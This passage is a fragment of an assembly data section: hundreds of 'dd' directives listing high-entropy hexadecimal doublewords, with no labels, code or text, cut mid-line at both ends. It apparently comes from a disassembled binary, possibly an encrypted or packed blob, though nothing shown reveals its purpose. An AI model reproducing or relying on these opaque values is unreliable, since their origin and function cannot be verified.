14BB2276h, 0E62B029Ch, 15E467FFh dd 496A1F78h, 0F213860Fh, 0C55784B2h, 963300ABh, 0FBD675F1h dd 0B4044100h, 0FFECF0D5h, 9EE95BB5h, 819C401h, 4C2D8DAFh dd 0A200A441h, 3FA352A0h, 0DD6E47h, 0F706A9C5h, 91B5897Bh dd 0EEA2044Eh, 0BF3FF38Ch, 6BE52905h, 99A8B016h, 0B5C834C3h dd 0C01AE5D7h, 9D2B70B9h, 0E478C89Fh, 0D3CCA071h, 0A724B5DBh dd 0B5B345CAh, 0F57232BEh, 0BDF12175h, 2A1D18D9h, 88096DE0h dd 14860C1h, 0FB202D2Dh, 0CD24C1h, 0C5B4F4ACh, 0F50541DAh dd 5DA0D377h, 900058EAh, 0DABDECCCh, 0EB8106C7h, 7C2BFAA7h dd 27959D16h, 8BDA39D0h, 0DC7E97D1h, 5D2A0BCBh, 5B7BC90h dd 9C26981h, 0DFDF92F5h, 0B85DD929h, 2DEEB7F7h, 0FBF946E9h dd 0E4513190h, 0F92A2EF5h, 3124994Ch, 0F24BB06Ch, 8EBF80CCh dd 0FC03163Ah, 0FE1AA1A5h, 0BF892B34h, 4C9D80D0h, 5F440A63h dd 27CE7162h, 0DF27B5ECh, 0F413DC27h, 75C5B100h, 21276C42h dd 7CE7CBh, 0A1BD230Bh, 0F357DCE2h, 2619516Ch, 84083EFDh dd 0AC97F48Dh, 997D20EBh, 0C22E5CEDh, 814E25Bh, 0C5185AFh dd 0ABCF65BFh, 9707166Ah, 0F0ECF231h, 8048A038h, 0FC2ADF12h dd 0EE020B6h, 0B2033853h, 19DCC8C5h, 5FA38AB7h, 14BD60BFh dd 14F57E16h, 2FFEF98h, 0D9B531FAh, 0FEE67706h, 5AD402BEh dd 4BD18FD7h, 210CCEC2h, 0F05BDh, 4B0DDC8Ah, 0B4F4F788h dd 0C463D0EFh, 8872631Ch, 0DDFDD44Eh, 4311E884h, 0FF248FD1h dd 0F2ADC7A0h, 40781EB0h, 87FC032h, 0C6B30CACh, 167F4C9Dh dd 0A279EF80h, 5F57B1D7h, 0B16F9DFDh, 75A63EBCh, 0E59ACEF0h dd 0F171BC01h, 0B3B5DD5Eh, 3CD2286Ah, 0F946F88Ah, 0A975B27Bh dd 0A235602Fh, 61001DCCh, 0A7C5FBCAh, 97E1FF91h, 5B16EA74h dd 198480A2h, 0C7810005h, 2B0D7D0h, 627EBF59h, 51D46D0Ch dd 97051C50h, 0DA01103Dh, 2DDAD28h, 0B946286Ah, 6C9E045Bh dd 17698F80h, 1600B7BAh, 0BF8A2C1Fh, 2D2EEC68h, 1FED600Fh dd 47A8E4C5h, 4E73B348h, 2227A306h, 0B36A0107h, 17227A79h dd 16486A0Dh, 8362A968h, 2AD9ECEAh, 0D5CDBCE0h, 679BDF00h dd 86D45A8Fh, 82595B7Ah, 587C5B69h, 5335DF69h, 7F871B91h dd 9543300Ah, 21002C4Ch, 8A5290F5h, 7505FDAh, 714BEDBFh dd 0E437B97Ch, 7127BC81h, 72D8EBCAh, 0AA9926C7h, 131D081Ch dd 0D2DBF827h, 0C8DBEE6Eh, 168047CEh, 0EEA863FCh, 70E30E16h dd 18C9E705h, 3B2539EAh, 955659A0h, 3D0027E4h, 6B2F4154h dd 481A60h, 0AADD8518h, 0C1712CBCh, 0F1A17325h, 65B30BEAh dd 0BB104650h, 0EC964741h, 585AC7CAh, 158DA21Fh, 82385F08h dd 252D9D01h, 0DE627C16h, 0B8CD33BDh, 2EFB8B60h, 619B810Fh dd 21F85B5h, 9E15561h, 5DE90007h, 0D8D39302h, 0CC0911A4h dd 0D1579EBAh, 1DFBAD16h, 8A172B24h, 0E0DE261h, 37E629A7h dd 0C30E109Dh, 777D272Fh, 0C4060E7Fh, 79EA66D3h, 616A3AA6h dd 84A42B02h dd 88D7641Bh, 8997C8CFh, 0C8007B7Ah, 0CF1CD0EAh, 9701E1DEh dd 0BF661A13h, 0D62656E4h, 0FDC58140h, 0C0C4A82Fh, 0CE099B79h dd 5B382792h, 72C4E0F0h, 0F6AE0446h, 0F789E049h, 708B6484h dd 1C22AF22h, 9E50062Ah, 89EB132Dh, 70F7FB14h, 0CD5C8F70h dd 18E113EDh, 3F6099BFh, 4FF78B13h, 0BDE525B0h, 0D68C1E5Fh dd 0D90644E8h, 0A46F2502h, 455FDB08h, 0CABF81F0h, 0A82FC6B2h dd 8921D2EEh, 40D4AA8Bh, 30A0E8F9h, 290021D5h, 0E5E19C09h dd 16C06AF1h, 0EC5FA806h, 585846Ch, 160CBB40h, 1EC93868h dd 559BFF8Bh, 67DFD1E8h, 94A44351h, 16975879h, 0E0A20829h dd 4B6AD7h, 0BE4DFEAFh, 0E5E1664h, 4BCF8114h, 0EB4FFFA5h dd 0FAAA6C02h, 90766490h, 9D5F7810h, 0E8006237h, 0AD011D2Ch dd 610E2F3Ch, 59006444h, 465A9148h, 3D9C1D89h, 0E8017CB5h dd 6588056Ch, 3A9A7AF1h, 64C01CC8h, 1F636F7Ah, 0C94876ADh dd 854614Dh, 755AE641h, 13D432E5h, 4996003Bh, 4D06CFD4h dd 0BB02BC56h, 43D69B8Dh, 7AEF575Bh, 9B631C64h, 844830FAh dd 2B01A876h, 12C88060h, 0B22E958Bh, 35CA4F26h, 765427h dd 86F205F6h, 0AE6EC678h, 1FD1D104h, 2943E906h, 0C0BCED97h dd 9030BC6Eh, 8EBF8D3h, 7CA5A156h, 0BDE075B5h, 95100B45h dd 0C478F9D3h, 4194B507h, 0BADEDA5Eh, 4DE6C4C0h, 0BF048036h dd 19EA7A6Ah, 0A812098Bh, 197ABB04h, 9DBA6501h, 41C4F3C0h dd 3F2F7D83h, 1723926Fh, 1518F880h, 5AA99D29h, 6A70DD1Bh dd 4C399621h, 908F4FCh, 0E8D260Bh, 406A95DFh, 2ABE9BF8h dd 98B5F4EEh, 0B795315Dh, 0BF5052E8h, 0CAD25A0Bh, 5E68291Ah dd 800DC8Ch, 37A974C0h, 4FE7806Eh, 0A032CAB6h, 2486C7Dh dd 7243AA2Ah, 6BD6AB47h, 9FDB8061h, 9B7F934Dh, 85B9CB50h dd 35EA79C2h, 2BDEFA5Dh, 0E635B0C1h, 38356BDCh, 27041F6Fh dd 0FB7A4F16h, 0C627AA2h, 96FF1291h, 0D4EB94CEh, 37F5000h dd 0E9D26898h, 0C5E45A0Eh, 5A82A817h, 51E0CDF6h, 0E8075AFBh dd 0A8C7DB57h, 0E1B501B0h, 0A692B51Bh, 0FFB7DDh, 0FF110954h dd 272EB2Bh, 8A44FB27h, 0FBADA79Ch, 181659E5h, 0E09E02C5h dd 1B61BD09h, 81E0DAD6h, 27F9F7C7h, 15D435AFh, 28A90FF4h dd 36E4C292h, 0EF3D84ECh, 191D6E04h, 558BE117h, 17DEFB9Fh dd 9D4700DFh, 0FE03E50Bh, 0BF063901h, 7BC04666h, 0F9D3756Bh dd 505CA8B8h, 8020BD89h, 9709BB50h, 0AB6F0A69h, 18BD123h dd 3F45E57Dh, 96A23A09h, 0A5B5290Bh, 505FE5A0h, 876E0F60h dd 0E38A0331h, 0DAAFE561h, 0E815CA55h, 505FDC9h, 0CAE5ACF9h dd 0B60065E9h, 68A796A1h, 82AF004Bh, 60BCBED5h, 8E7CCC45h dd 6E48900Bh, 44DD5938h, 8AF5335h, 960B3105h, 6FDCDC50h dd 0E316A612h, 1C99E0AFh, 9D890B26h, 46141915h, 0D9FE90B5h dd 2CB3002Fh, 8FE1663Eh, 810276B4h, 67EEF362h, 0E9BED6A8h dd 6140CF4Dh, 257C29FAh, 0E05CE44Dh, 9D98B80h, 971EFD8Dh dd 1879165Bh, 0E3396618h, 0DB0A3B88h, 1DB1DE81h, 0C1E0756Bh dd 6B4CBECBh, 8898E028h, 0BE126660h, 0B188FD8Eh, 0F3610004h dd 8DAA9417h, 0CB00E14Ah, 78FB3F67h, 4A3652E5h, 0EE638861h dd 842E2400h, 63C6E795h, 73C300FAh, 4FC9308Bh, 0F0252D77h dd 0D661D494h, 9A001A46h, 27B17351h, 8B26FDACh, 5E2D66DFh dd 0EDC69787h, 0ED1ECCEh, 36E594E8h, 0CB81009Eh, 1EAAF349h dd 0FEDA8B27h, 0E3301609h, 0A9BFC13Fh, 35205BCBh, 0A9F24B32h dd 2FDA3967h, 7A637BC1h, 5DE7CAD5h, 0BF2A388h, 1675168Dh dd 62359755h, 73CE701Ch, 0C0E43460h, 76A3FBE8h, 938A00B6h dd 38CF26ADh, 5B009EEEh, 70D7694Fh, 18BF66CCh, 9261E4A4h dd 0BC832A15h, 942CF6C0h, 906825D3h, 1A0116F1h, 13922BC8h dd 0FA500838h, 200D4582h, 0C848964h, 588A3FB8h, 9959050h dd 6279FE6Eh, 64D72350h, 6A5F2B36h, 37A7D0F9h, 0F0622C02h dd 78FF9D13h, 0E6125B58h, 391E03AEh, 98A23A66h, 90FC5Dh dd 0FB549F37h, 0CF80C47Fh, 252B4758h, 92CEDCB5h, 439BFF6Ah dd 0E4793580h, 313F0AC5h, 8A3203CFh, 0E2D022BFh, 9BF9826Ch dd 886274C6h, 37A5431Fh, 0ADBE00BEh, 0FAC19E3h, 6581984Eh dd 31DC34B7h, 0E53B551h, 39C60634h, 4616902h, 524882D5h dd 0D6D48948h, 0DB7B2FCBh, 22181651h, 43418B2Fh, 0FC4227EDh dd 0E8F74046h, 5902B786h, 678F51BBh, 0EB217470h, 0A040E44Dh dd 2B1A1EBh, 3C903B05h, 662B483h, 0D5E020CDh, 1C9E21Eh dd 89AD7C09h, 328D0F4Ah, 61A25BAAh, 0D810C000h, 0D6C40807h dd 0E0A0B451h, 149DF85Fh, 0F24A4347h, 2EB63018h, 0CA054610h dd 12DB5228h, 835BCCEAh, 7FC7905Bh, 507DB2C3h, 0F381B0BFh dd 78BB4C29h, 0DA083116h, 0E1E3250Eh, 0E2E9048Ch, 0A5FB38EBh dd 7A30C641h, 7A3BE99Dh, 84C80021h, 0FD33E4FFh, 0CD145E65h dd 3D0A69Ah, 38A75B13h, 0A6B0DE46h, 0A4028C34h, 0EB5D0F17h dd 498A4ACCh, 0BA213141h, 8625FBF9h, 6DB779A7h, 0C740B29Ch dd 0A362D159h, 0BD89098Fh, 2CD230E5h, 14A19F31h, 0BA050D7Dh dd 1689079Bh, 70407530h, 4D94FF4Eh, 0C27FDEBAh, 0DD22429Bh dd 8951E74Ch, 79E2371h, 2600347h, 40A95C12h, 97321ECh dd 17C52B01h, 49E19A85h, 0BD755BE4h, 960E0049h, 0AF98D0A6h dd 0D888295Fh, 0F8EB0581h, 0C1661743h, 771D89B7h, 0D8F8B5EAh dd 0EB32007Ch, 0D47B91CBh, 319D5F52h, 0C114FE5Fh, 2317926h dd 2045F8B0h, 0E62F13A5h, 5E2FC270h, 0E3810257h, 58740861h dd 0C74BDC91h, 128C924Fh, 0DF8046F3h, 10CED787h, 0D96CC466h dd 0DC5B0B20h, 845C752h, 8A0C422Ch, 27F76EDDh, 4E42C33Fh dd 6302D266h, 0A767039Ch, 3E64DD5Fh, 9023B920h, 0CDC69D50h dd 0C82BF917h, 1E9DC021h, 10D1679Bh, 768822CDh, 358FBF20h dd 8B250AC6h, 2F510885h, 94AC057Eh, 0BB000A37h, 5EBE1EB8h dd 5040E75Dh, 184EB588h, 444C098h, 22DA0CF4h, 82A3AA37h dd 34D0E93Ch, 3FF628Dh, 655DD98Ah, 8957092Fh, 0F7DB6AF5h dd 1907ECC2h, 0DD85E1FEh, 0EAD47A26h, 25BD6050h, 0FE385F07h dd 7F984078h, 52FC502Eh, 6284BB9Eh, 0F6EB4342h, 77A6A485h dd 7A974200h, 5DB90CD0h, 128F0F52h, 88AF3279h, 1C5C8EF5h dd 4988C8B2h, 6E0039F9h, 8579F41Fh, 77570164h, 20AEFBC5h dd 6159F49Ch, 0BC11FC4Dh, 308705F2h, 0B6C02BF5h, 43E0E762h dd 0BF9109D4h, 45BA4CC1h, 954C045Fh, 0FE9BBA0Ah, 53DC8A01h dd 24B19531h, 6DBD5B61h, 611544BDh, 0E928A74Eh, 8AE6FD5Ah dd 5E2D148Eh, 0A07F6BB9h, 5B14D813h, 7E52093Dh, 920B5E24h dd 2039B2F6h, 153B721h, 7ED69CACh, 250F4D15h, 0FCC55E72h dd 0C439BDF9h, 910007A8h, 5AB9ABFFh, 9AE06DEh, 958D2945h dd 1560EB6Fh, 1366021Ch, 0A2030F3Dh, 0DE998951h, 0B800F62Fh dd 3DBA858Fh, 4B24283Bh, 0C24AACF0h, 3D16459Dh, 55A58F23h dd 3B8EBD98h, 0BD038309h, 66EC7D39h, 903F9600h, 0D9A02F70h dd 9AFD00C6h, 1F465872h, 0FEB6E1FFh, 0A41003DCh, 0D28DA20Bh dd 3A4931E9h, 5A14AE28h, 806EDE04h, 0B5315FA6h, 8E7BE309h dd 53FF3511h, 792A4601h, 283A12CBh, 27C3B6ACh, 27019D33h dd 6284604Dh, 91FF1332h, 3A0E155Dh, 80F87337h, 0E66D82D7h dd 25006A44h, 5EDB8F2h, 2704846Fh, 7C4BDA49h, 26C452D4h dd 0AF4F8FACh, 0A6844361h, 4E6420C4h, 2A709D40h, 76C12ADAh dd 0DCF5A49Dh, 2E12D2BBh dd 7BFE42CEh, 49670170h, 52F3A68Bh, 9B8302Fh, 0C5FA9B5h dd 0B180C0BDh, 3472FE9Ah, 6C26F800h, 94039B8Bh, 5A4416D6h dd 0A8C5C5FBh, 0D1BE17DCh, 1525A1ECh, 777A81D6h, 918B9BE0h dd 6BF3F995h, 2DD88687h, 5FA83FBBh, 0B8FA1F9Fh, 0FE93523Fh dd 5D5AA35Fh, 0A6C10AAh, 5890B571h, 0B20030CEh, 62A14A4Dh dd 72B37DD3h, 0EB9895FAh, 127BD23h, 9F674E14h, 0E94370F6h dd 0F08D4C0Bh, 7044BB4Fh, 52A96585h, 0A31920ECh, 0AD56DFC5h dd 93E3A36Eh, 8032DAAAh, 5A825259h, 4EF5A09h, 0E8A6A7DDh dd 0DCAFDD47h, 4675696Dh, 0BF5C4A02h, 56F82C34h, 67A53F81h dd 774BF0A9h, 0F8E15900h, 0F324B9CDh, 89A72568h, 4FE2606Dh dd 83B98847h, 6330F725h, 9527B501h, 0A5795B27h, 0EA7072D3h dd 0B89B1E42h, 0C96B029Ch, 3589E920h, 0F69645F6h, 0F0A84F81h dd 6F68133Ah, 51ED0F49h, 0D601E0FCh, 4E23F5AFh, 963A929Dh dd 0D340DF5Eh, 0EDAF0h, 46B9BFD7h, 169385AEh, 110283A1h dd 0D8785F50h, 0F000985Ch, 85299661h, 5B9732D1h, 18157954h dd 4A89FE6Ah, 271A9BDh, 0D092D168h, 0DBB5422Bh, 445F12B2h dd 410487E3h, 5D09BB66h, 4DFB27Eh, 2BCF912Eh, 4E2007F0h dd 0B1E8C37h, 34B79BFh, 0F18A6090h, 18F440Bh, 9D3FF261h dd 5FC9D34Dh, 0D37F8F90h, 352FB090h, 5CE7592Ah, 0EA7D0802h dd 0A4F99531h, 6EBF61E6h, 0F7D700F4h, 270B4792h, 0AAB62556h dd 2982F2E5h, 752F4195h, 344EED9Ch, 29EC62F9h, 52253472h dd 43E76F9h, 452EC19Dh, 411F21E9h, 7508BD09h, 75F2E91Dh dd 1C507C53h, 39CE127Eh, 518C5B6h, 0FF0C09B0h, 0C21D717Bh dd 0B74C8477h, 2E7BE188h, 890BD528h, 2AC5F42Bh, 0F89AF6A7h dd 0A57CD97Dh, 95BBE90h, 0BB3A8E38h, 0E2854A52h, 82D19FFAh dd 401ADD75h, 9751EBCAh, 1559075Bh, 214F6818h, 4B4ADAE0h dd 3320CCA2h, 12B1BD16h, 79FF2DEAh, 0FDF0A979h, 63412C40h dd 0B76B0F7Eh, 0BB963944h, 84F788h, 6CAF55B4h, 0A688B062h dd 9707B2E8h, 0F561AEAAh, 60A4C750h, 0BB36BE66h, 0FE830F13h dd 72BFA8CCh, 9CC498BBh, 0EA131260h, 40C10A2Ch, 0EC45115h dd 5B091489h, 6DE914DCh, 8FF54226h, 7E95DB41h, 965FA34Ch dd 0EAC94A87h, 8E25247Fh, 896CA6D5h, 0CB054BE0h, 6A4AD4h dd 30D4901h, 7A23619Dh, 8B2DCADDh, 0AFC53F9Fh, 75F64A30h dd 0BCD814A4h, 5D6E5F6Ah, 85D5D30Bh, 1F6204F7h, 8BC463BDh dd 0A2F3ABDEh, 2819951Fh, 1E6817Bh, 134BF94Bh, 0ACC6A9EEh dd 39008C1Dh, 0E2D20359h, 5D5F975h, 8D29FA23h, 0F2F794C5h dd 9B057EE3h, 267693E5h, 0F1DD404h, 60965B02h, 3B40075Eh dd 138A5450h, 3D8BE59h, 800FE697h, 77201F48h, 2C0B8826h dd 0B81C350h, 584F0725h, 18DFCC0Bh, 370562Dh, 0B6F5A635h dd 744B338Fh, 5A8B6B9Bh, 0B1407876h, 0B833567h, 829AADFFh dd 0EF324DFh, 69BD0101h, 0B75F1004h, 0F07C9540h, 58ED12FEh dd 4B0BAA0Bh, 6CBDD52Dh, 20BCFE80h, 4B705EDAh, 4A61CACDh dd 0A67A0CA1h, 86A2F761h, 5D58426Ah, 315E366h, 98AF5BDh dd 7A99B529h, 5F5C908Dh, 0B579B88Eh, 0F33BB2CDh, 0B7F24087h dd 67BDA25Bh, 0A67DB9BCh, 0C0C63201h, 0C318942h, 134E726Ch dd 234C6E60h, 8991001Bh, 77A38A66h, 0E6BB2125h, 27564BB6h dd 5405806Ch, 0E817BE69h, 8AE98E9Bh, 33565182h, 5F47D0FEh dd 0A07A7919h, 2FA12FA4h, 22C4E459h, 2E57E157h, 0AC134A34h dd 7DC128AEh, 2AF3FE00h, 0C0B9A123h, 348297FFh, 55E90B3h dd 4FB58958h, 903149E9h, 0B72F20DCh, 71207DFh, 0FBAF1522h dd 48D7E384h, 77ADC164h, 0E80098B8h, 90EF3AA5h, 484ACC0h dd 590BBFE3h, 0B4F3FE28h, 1689571Eh, 7F4BBBD1h, 0A9500290h dd 0D47E54E1h, 8E001A46h, 645665C7h, 6A5AC42Eh, 14CF419Bh dd 38B29DE0h, 719F297Bh, 2695208Eh, 4E040A09h, 1A6995C2h dd 9A1014C4h, 0FB1214D6h, 96D4FB01h, 305EA6ACh, 97C38075h dd 2295059h, 85092404h, 0B70FC6CDh, 95A30F66h, 5BC9BDFCh dd 56BCF6EDh, 8EE11702h, 5DB072A2h, 0E30571F3h, 9AFA41E8h dd 0C0C2D14Dh, 63B7AD8Ah, 81D900B5h, 0F8E81CBBh, 0D15FFF2Ch dd 42E020A6h, 0F74BD776h, 0E921608Ah, 2B1919F9h, 8B179EB8h dd 4435BEA1h, 1D78EEFh, 28B76CF2h, 0A960ED80h, 0A8234F29h dd 1BFDD3CDh, 6E1C2DA8h, 0B3C0854Bh, 0CF80BA3Dh, 0C5049D1Ah dd 53F1122Eh, 7467A17Fh, 360086EEh, 117C2D4Bh, 2E00554h dd 0F6997C7h, 0A742F98Bh, 50E17DCDh, 0FA316A01h, 8001B22Bh dd 7AAE3508h, 118807B1h, 40BC0568h, 0B3E12214h, 8BA33E0Bh dd 58B7780h, 46D6FDD4h, 0F9640414h, 38BA9DE9h, 0D640A414h dd 6BBB1466h, 4172C6DDh, 9994412Ah, 139C2E11h, 127190F8h dd 0E03FB1EFh, 63E2BBBDh, 6A75F9A2h, 3B0F138h, 0B63C7537h dd 60CD1881h, 525CD151h, 96312C85h, 323D02C8h, 5CFEFC90h dd 9D5E4BA6h, 36964AF4h, 3527DE71h, 53FCD41Bh, 18C1EC10h dd 0F321AB4Ah, 0B52A9D2Bh, 0B39A7A31h, 40C116C8h, 792C21F0h dd 0BBFF6A00h, 7CCAFAC4h, 0D52D9BB0h, 0D069532Eh, 380147B9h dd 7E6914B6h, 0C60E371h, 0F22A4A6Dh, 14E86DEh, 0B0DE2DF7h dd 5F272C02h, 8516795Ch, 0C1AAAE25h, 100BDD83h, 882A11BDh dd 0E94F71E4h, 4A122BEFh, 5E1299D3h, 430E2779h, 0DDF0970Dh dd 7007DE3Ch, 371E904Dh, 0C15D7D41h, 95FDD02Bh, 918E12F9h dd 0E282BE27h, 19569035h, 8EBBBAC0h, 5BABAA12h, 0F7B590EFh dd 1097E059h, 31248h, 4B29E37Dh, 667A45DEh, 688F6512h dd 0E82EABE1h, 7EA590C0h, 2F2B0A40h, 0C358FCC8h, 81AA44h dd 79B2C6EBh, 50FBB32h, 596DC42Eh, 0A512F134h, 5712788h dd 2A2E923Ch, 7408EE90h, 0FC5B0418h, 7CB4B861h, 137D8517h dd 18FC6ACh, 0AB0D6525h, 482B48DDh, 55A52FBFh, 0DB811310h dd 3167DE09h, 536416h, 88BF6076h, 0CD90123Fh, 515A6113h dd 2DD59505h, 5CE9D4C8h, 0ABD6943Bh, 0D1AC01D4h, 0FA256494h dd 2345D2C4h, 0C1CBB700h, 0CF32973Eh, 252D5B5Dh, 952C2557h dd 0CFAD9424h, 144FD584h, 7407DCFh, 9149EC29h, 159EB1C3h dd 208B2E19h, 5F86A4Bh, 8D09942Ch, 0A8AC4CC9h, 0D9864D24h dd 2EB90021h, 0CF77A00Fh, 82EB4B55h, 0D58260E7h, 8A012ED1h dd 0F3EE61D3h, 0B9E073A5h, 9D01A60Dh, 0F9C85894h, 9066C02Bh dd 0B79EF2F0h, 58C49A1Ch, 9D018C41h, 0A6820561h, 5EF55060h dd 0F8651840h, 256BB43Fh, 0FC3DF4BAh, 47EF1B5h, 95E59529h dd 109FFA5Eh, 9178D8D3h, 8D298F04h, 0F6AB279Dh, 0B0730E2h dd 9E4AEB7h, 15CC3AB0h, 8F957FE6h, 0C3A450EFh, 99FFD940h dd 5992A957h, 76DB7AD5h, 4B12C650h, 4A136EB1h, 1B805FB8h dd 0F63540F1h, 91D78012h, 0C889CEE2h, 0A755BD7Dh, 2144007Fh dd 7B1DE5C5h, 6570B560h, 5B124120h, 0A93FA961h, 0BE80E469h dd 0B780124Fh, 7CCC5C27h, 0D881C41Ch, 234B61C6h, 0DA4B05CBh dd 0E17980D1h, 3D0C2698h, 5525BF66h, 4C003971h, 448DD497h dd 74D3018Bh, 0FF9B51F2h, 0B8DB39E1h, 66130043h, 7680CB6Ch dd 1425EB85h, 11FDC5F9h, 0BEE04BB3h, 0E01C971Ch, 8E27BB68h dd 533D0711h, 39EB8782h, 0E75C5F50h, 97046B50h, 0B64023CFh dd 128478E4h, 0BB97A5AFh, 2C9CC890h, 0DA7F00D1h, 0FF05FD93h dd 0FE7951BFh, 0A65759B5h, 700D60FAh, 0DC2E4082h, 25003991h dd 2BCC080h, 0AE1009C6h dd 0C3CD605Fh, 0A0AF0BC4h, 129F094Ah, 1250FC6Fh, 138DBA0Dh dd 5176A2Eh, 99D892AEh, 5487B2E8h, 273C601Bh, 0B6E0B4F1h dd 18A2AC07h, 653028FFh, 4B872501h, 6F89C53Dh, 48E116F2h dd 0E9A74900h, 4B4586C9h, 7899D292h, 0C23F6D2Bh, 4AF56A42h dd 58854A26h, 0AC53BFBEh, 9F46EC5Ah, 8EC5B35Eh, 0FA23C0C0h dd 0A04CFD48h, 55750096h, 0CF825986h, 0B503C3E4h, 0F67D7CB9h dd 1246B0AEh, 0E6E75E31h, 3017B26Dh, 0D816A028h, 7BEB5037h dd 0DD10E1Eh, 2B4920CEh, 9D07719Dh, 0CD80FE59h, 19B66879h dd 0A09E5E52h, 49808184h, 0EECC4BEAh, 0B900566Eh, 2201D86Ah dd 1617534Ch, 6BBF0AB7h, 2C172484h, 2E405DC9h, 0E7B48F0Fh dd 0DD806084h, 12BB16BBh, 6541045Ch, 0D3DDBD05h, 0E90B81A8h dd 2A3D020Ch, 0B701A59Fh, 0AFCF73A7h, 54FD307Bh, 0B1072FE7h dd 8D9C552Bh, 7F780520h, 0CC9327BBh, 6225A1D6h, 0E7CD55C4h dd 72C18EE0h, 557D712Dh, 362FD68Dh, 392FFA0Ch, 69557106h dd 4F506DDBh, 0B2F30186h, 0F29B2C3Eh, 1DA7421Eh, 5D5DE2F7h dd 1D915B35h, 72076280h, 0A3006923h, 8F5385Ch, 55A1B531h dd 0DA02DE2Eh, 0ED99FD8Bh, 5FF426DFh, 2C1783ECh, 8471B853h dd 504B1F8Dh, 0D83AB375h, 2781947h, 0BB3D3AE3h, 4409AD59h dd 153EAC9h, 4069EE1Dh, 3F96585Ah, 227BC7B1h, 6F7765AAh dd 9836611Dh, 3F77F865h, 24A44B0Dh, 4E5B43Ch, 0EBC76800h dd 92551A25h, 3EE5F5F9h, 0CA525102h, 2A65E0Eh, 5505E838h dd 28DCB954h, 25EB303Ch, 0E2D12805h, 8614005Ch, 6430B0BAh dd 0E2B78750h, 8939842h, 9DC0058h, 68BA8E89h, 0DE3BFAE4h dd 9D500E26h, 0B3BB602Eh, 9A271EAFh, 0DC43947Bh, 15C013Ah dd 0B638D0Dh, 0A961A1F3h, 84B35D2Ah, 0BD112D95h, 16AFD3FDh dd 0BA89BB52h, 42BD2D2Eh, 4BD4BD38h, 5A3E7EADh, 0EC68E4FFh dd 2821890Ch, 323D8F07h, 4EBE9CF3h, 7756AFAh, 0BC02A23Eh dd 0A78BD8F1h, 7D02B623h, 3E81FA89h, 8955C55Dh, 0BD7D046Ah dd 76CE0E9Fh, 96A49Fh, 5F45E8C9h, 661464BFh, 0B1D75561h dd 7A7A0433h, 28EA387Dh, 0E5B7F5CCh, 1FBB80E5h, 0BF7B32B3h dd 720FD4FFh, 598A7397h, 0A0181Dh, 0E98665F7h, 1F0F09BAh dd 16E46F48h, 7B911DC9h, 9C7B01D9h, 9597F9D9h, 63F40A3h dd 1D2DEF3Dh, 4E77CF5h, 0BC50CA98h, 0C06B80A3h, 386116B1h dd 3B048F8Dh, 0AFD7A00Dh, 2CE54F8Dh, 9681A42Eh, 0D1CE1195h dd 28E68C3Eh, 89245BB7h, 0B8F53199h, 21852980h, 0BB400DF1h dd 4B848757h, 234ECC69h, 5BA5BD4Eh, 0C809DA2Bh, 0B828C01Dh dd 4302C463h, 67F9F7E4h, 21F0418Dh, 0AF98AA14h, 1BF71281h dd 6855F1BAh, 5A078045h, 67415Ch, 19750285h, 0E5D98BEh dd 0E2F0D025h, 6A766067h, 28AB25A4h, 7BA5AC7Bh, 0EC15500Ah dd 3BAA7201h, 0BB1A852Fh, 6A45AF42h, 0D6FB5556h, 51261551h dd 0F048F218h, 0BF4E47EBh, 4A95C7F1h, 8DC4E9F5h, 0E7FD95A1h dd 0D69A5E1Bh, 0AA48EC80h, 3E022379h, 0F5BADCBFh, 8B29C042h dd 40D86911h, 1A7B9A8Bh, 5AD07572h, 58A24B5Fh, 0FBCB403Ch dd 20F47F20h, 895C0162h, 8F1C905Bh, 0EBE82AB9h, 0ED703C1h dd 0C46E3B35h, 1F001923h, 0D5EFE5DFh, 0C7B6A079h, 45404C55h dd 2E89352Dh, 0FBA75B73h, 2E7F514Bh, 0F5645622h, 5FB03EEEh dd 0DC2FD527h, 7F5D7104h, 2E01047Bh, 0F96046EAh, 88A93B89h dd 0B8506113h, 5F368036h, 0BB4A164h, 0FC8AC370h, 88ACD0F4h dd 37F52ADEh, 5ED9AAA0h, 1446D620h, 5B92A528h, 0B9CD1221h dd 8C17ACFFh, 9DBB5ABDh, 9DC2DCDCh, 0DF80010Eh, 95C4875h dd 14C855Eh, 0B72D8C89h, 0DE693A59h, 0E82DD485h, 3CB277DEh dd 4C017784h, 4B959AFCh, 2D96CE2Ah, 0A87BBB49h, 0B36434Eh dd 972DE6Eh, 75FD0975h, 7E3386B9h, 0C62FA1A2h, 514ADE4Fh dd 3512C200h, 5F01BC0h, 0EEBB6672h, 17BEF8Ah, 0F4011C23h dd 0A5CAF31Eh, 1226E3FCh, 0BC59E955h, 99884EE1h, 2E9012FDh dd 0D7D0BB38h, 775BB4B7h, 78DC938Bh, 0F94A8BDBh, 0DA4FE4F7h dd 9E50817Eh, 26F8D205h, 55AFB060h, 0BFCCE231h, 0D5615BF2h dd 0AED7C4D1h, 0AB845DDEh, 90C4EA31h, 0B9BE571Bh, 972714E7h dd 209670A0h, 57A0F44Ah, 0C5939706h, 6490B22Fh, 4E89Ah dd 23B6713Bh, 4ED442CDh, 0D37AC00Ch, 30FEE3B5h, 0F80A5690h dd 3EE16A5Bh, 0FB93679Bh, 264AA086h, 0F4906ADFh, 0D67A1513h dd 23495705h, 4591DDBAh, 0D245B2B0h, 0E6D2EBECh, 6637B4F5h dd 58C7CBB0h, 48BF0566h, 9BD1FF5Eh, 0E4ADC066h, 0B82847A9h dd 5C957178h, 0D7829A27h, 0FE5E705Eh, 327E6D51h, 0C65E2DB4h dd 0D4F75E6Bh, 0CC92FC97h, 6E12CB7Ah, 35EB509Ah, 0C176348Dh dd 60CA14Ch, 52715984h, 0C8809A4Bh, 0A042C017h, 0E938AF32h dd 82CBCB0Fh, 25E72610h, 0AF52F160h, 5FE93356h, 36614D61h dd 54BAF091h, 69A800D4h, 0B4115C8Ah, 0D4905651h, 4A2F8920h dd 408FF65Bh, 1440798Ah, 404CBE90h, 0E7864B71h, 5BD5A101h dd 0FB66681Ch, 0E466C13Eh, 73AD2B16h, 220099B8h, 0FF3692F4h dd 4B8A3FA6h, 9FC2C4D9h, 2180C9DCh, 7137D2B0h, 0B452EAD5h dd 53C45E31h, 0FCD2C412h, 0C94AB6F3h, 57A86E9Dh, 0B26D9417h dd 396C0E9Bh, 0DC2C4034h, 7E083BDDh, 1DF80238h, 485BA135h dd 435B8A57h, 0A93C8389h, 51ED823Dh, 34EFFF1Fh, 0A2D11940h dd 0B0AE00CBh, 0A6F38184h, 564B6B9Dh, 5E0E59C2h, 84051BEh dd 7D599Dh, 91C2914Bh, 929004FDh, 0B0F871E4h, 0D2DE4B0Eh dd 182D21A1h, 558FF47Bh, 3580647h, 9435CEC0h, 2A2C15F0h dd 